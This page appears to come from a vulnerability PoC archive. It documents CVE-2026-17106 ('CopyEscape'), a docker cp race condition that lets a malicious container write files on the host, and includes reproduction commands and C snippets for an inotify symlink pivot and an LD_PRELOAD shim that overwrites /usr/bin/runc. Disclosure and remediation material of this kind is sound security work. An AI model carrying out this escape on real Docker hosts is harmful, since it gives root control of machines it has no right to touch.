PoC Archive PoC Archive
CVE-2026-17106 category: binary CVSS 9.8 (CRITICAL)
Unverified

Docker — CopyEscape: Container-to-Host Escape via docker cp Race Condition (CVE-2026-17106)

Published: 2026-08-15 • Researcher: masasron (Imperva Red Team)

Target software Docker Engine / Docker Desktop, docker cp CLI command
Affected versions Docker Engine/CLI 29.6.1, Docker Desktop 4.81.0, and earlier (prior to the security fix)
Status Patched
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-17106
Category
binary
Affected product
Docker Engine / Docker Desktop, docker cp CLI command
Affected versions
Docker Engine/CLI 29.6.1, Docker Desktop 4.81.0, and earlier (prior to the security fix)
Disclosed
2026-08-15
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-08-15
Last Updated2026-08-15
Author / Researchermasasron (Imperva Red Team)
CVE / AdvisoryCVE-2026-17106
Categorybinary
SeverityCritical
CVSS Score9.8 (estimated, container escape to host RCE)
StatusPatched
Tagsdocker, container-escape, race-condition, symlink, path-traversal, runc, host-takeover, linux, macos, CWE-367, CWE-59, CVE-2026-17106
Related

Affected Target

FieldValue
Software / SystemDocker Engine / Docker Desktop, docker cp CLI command
Versions AffectedDocker Engine/CLI 29.6.1, Docker Desktop 4.81.0, and earlier (prior to the security fix)
Language / PlatformC (inotify monitor + LD_PRELOAD shim), shell scripts; targets Linux and macOS Docker hosts
Authentication RequiredRequires a running malicious container and a user who runs docker cp against it
Network Access RequiredLocal – the attacker controls a container on the target Docker host

Summary

CVE-2026-17106, nicknamed CopyEscape, is a race condition in Docker’s docker cp command that allows a malicious running container to escape and write arbitrary files on the Docker host. The vulnerability exists in how Docker’s archive producer walks the container filesystem: a race window allows the container to replace a directory with an absolute symlink between the time Docker reads the directory listing and the time it archives the contents. The resulting tar stream contains the symlink followed by child entries beneath it; the vulnerable Docker CLI extracts the symlink and then follows it, writing attacker-controlled content to arbitrary host paths.

The Linux PoC demonstrates overwriting /usr/bin/runc with a malicious script that creates /imperva_red_team when executed – achieving persistent host-level code execution. The macOS PoC demonstrates a non-destructive write to ~/pwnd.

Vulnerability Details

Root Cause

Docker’s docker cp command archives files from a running container by walking the container’s filesystem. The archive producer performs a directory listing, then reads file contents based on that listing. A TOCTOU (time-of-check-to-time-of-use) race exists between these two steps:

  1. Check: Docker reads /watched/file.txt as a directory and begins archiving its children.
  2. Use: The container replaces the directory with an absolute symlink pointing to a host path (e.g., /usr/bin).
  3. Extract: The CLI extracts the symlink, then extracts child entries through it onto the host filesystem.

The exploit uses two mechanisms to win the race:

  • An inotify monitor watches for Docker’s access to a trigger file (aaa.txt) inside the directory, then atomically pivots the directory to a symlink.
  • An LD_PRELOAD shim intercepts open/stat/lstat to make processes inside the container see /watched/file.txt as a regular file, while the Docker daemon sees the underlying directory structure.

Impact

  • Host filesystem write: Arbitrary file creation/overwrite with the permissions of the docker cp caller (typically root).
  • Container escape: Overwriting /usr/bin/runc gives the attacker code execution on the host as root on any subsequent container operation.
  • Persistence: The replaced runc executes on every Docker container lifecycle event.

Environment / Lab Setup

Shell script

Setup Steps

Shell script
1
2
3
4
5
6
7
8
cd macos && ./demo-macos.sh

sudo -s
cd linux
cp --preserve=all /usr/bin/runc /root/runc.copyescape-backup
docker build -t copyescape-linux .
docker run --name copyescape-linux copyescape-linux
docker cp copyescape-linux:/watched/file.txt ./file.txt

Proof of Concept

See linux/monitor.c (233 lines, C), linux/watched_preload.c (90 lines, C), macos/monitor.c, macos/watched_preload.c, and shell scripts in this folder – mirrored byte-for-byte from masasron/CopyEscape-CVE-2026-17106. The upstream README is preserved as upstream-README.md.

Step-by-Step Reproduction (Linux)

  1. Build the image: docker build -t copyescape-linux linux/
  2. Start the container: docker run --name copyescape-linux copyescape-linux
  3. Verify file appears normal: docker exec copyescape-linux cat /watched/file.txt outputs “top-level file”
  4. Trigger: docker cp copyescape-linux:/watched/file.txt ./file.txt
  5. Verify: sed -n '1,3p' /usr/bin/runc shows the PoC shell script; ls -l /imperva_red_team confirms host write.
  6. Restore: cp --preserve=all /root/runc.copyescape-backup /usr/bin/runc

Exploit Code

The inotify monitor – watches for Docker’s file access, then pivots directory to symlink:

C source
1
2
3
4
5
6
if (!raced &&
    (event->mask & (IN_OPEN | IN_ACCESS)) != 0 &&
    event->len > 0 &&
    strcmp(event->name, "aaa.txt") == 0) {
    raced = try_pivot();
}

The LD_PRELOAD shim – makes container processes see a regular file:

C source
1
2
3
4
5
static const char *redirect_path(const char *path) {
    if (path != NULL && strcmp(path, visible_file) == 0)
        return backing_file;
    return path;
}

Expected Output

Output
pivoted /watched/file.txt/escape -> /usr/bin
copy activity went quiet, exiting

After trigger, /usr/bin/runc contains the PoC payload and /imperva_red_team exists.

Detection and Indicators of Compromise

Output

Remediation

ActionDetail
PatchUpdate Docker Engine/CLI and Docker Desktop to the version that fixes CVE-2026-17106. The fix rejects malicious archive streams or completes the copy without following symlinks outside the destination.
WorkaroundAvoid using docker cp to copy files out of untrusted containers. Use volume mounts or docker exec with output redirection instead.
VerificationAfter patching, run the macOS PoC – ~/pwnd should not be created.

References

Notes

Verified this session by reading all source files: linux/monitor.c (233 lines), linux/watched_preload.c (90 lines), macos/monitor.c, macos/watched_preload.c, linux/entrypoint.sh, macos/entrypoint.sh, macos/demo-macos.sh, and Dockerfiles.

Malware screen – clean. The monitor uses standard POSIX inotify for filesystem event detection and rename() for the atomic symlink pivot. The LD_PRELOAD shim uses standard dlsym(RTLD_NEXT, ...) interposition with no obfuscation. Shell scripts are straightforward Docker build/run/cp orchestration. No remote downloaders, no credential exfiltration, no miners, no persistence beyond the demonstrated runc overwrite. No committed binaries.

Author: masasron is credited as Imperva Red Team. The repo has 15 stars, includes both Linux and macOS demonstrations, and a detailed blog post link.